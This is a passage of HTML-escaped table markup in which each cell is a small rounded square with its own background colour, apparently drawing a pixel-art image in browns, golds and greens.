&lt;td style=&quot;background-color: #3d2a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #451f1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #32121c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #714727; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c19145; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c89b47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b98d45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b512b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #976e37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb9f4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba8e42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b7235; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #785028; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c2b1a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c161a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261923; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1823; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2524; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #353c2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d4234; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f4a3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #405140; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #41513f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #485945; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #556347; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #546549; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #56674a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b694c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535e46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #515a45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #515b45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #545b46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b5e50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #3b3531; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #403d32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #413d35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f503d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f563d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #525139; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #585138; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #525239; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f533d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #50503a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f4d38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #524d37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #504b34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #484731; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #444532; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f3029; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #442221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f191d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #492721; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a87737; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c09343; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b7863c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c5d2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b602f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a37937; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b28942; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #956b32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #724a27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #48281b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c151a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a181f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271922; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1420; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d1523; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2425; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e4432; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #434a36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f4a3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e4b3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #404b3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #454f3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #44513e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #495944; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #556247; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #596448; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535b44; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c5141; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f4f3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555745; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f6256; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #3b352f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #423b2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #433f32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #504c3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #514d38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #544f37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #554e37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #524b36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d4933; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4935; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4b39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c4e3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e4f38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #505138; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535438; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503e2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #462423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d181d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #37181e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #573323; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a97c3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3a44c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c09243; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a97d3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a67c39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #976d33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #744c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c3821; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c2019; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b171c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291920; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #25161f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c121d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201623; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #332324; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4932; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #484e37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f563e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #515b3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b563e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #465341; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #485746; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a5b49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #495441; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a523f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a5444; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #505748; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5241; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #525a49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #595c50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #312a2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c342d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #45402c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #403d2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #403d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #52533c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f4e39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4631; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #484430; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #484532; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b4b36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d4f3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f543e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #575c42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #656847; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #574832; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #411b1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f1a1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a111c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1e1c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d6636; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a77d3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #896030; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #704926; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e3920; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e2e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #43281f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #351e1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #27151b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #27181f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20151d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201822; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e4234; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a523b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #50543b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #545f42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49553e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49523e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #475240; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #495543; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #444d3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #48513f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e5a49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555f4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5547; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #56594a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535349; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #332b31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #393430; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f3d2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #35382d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #403c31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #494534; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #515240; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
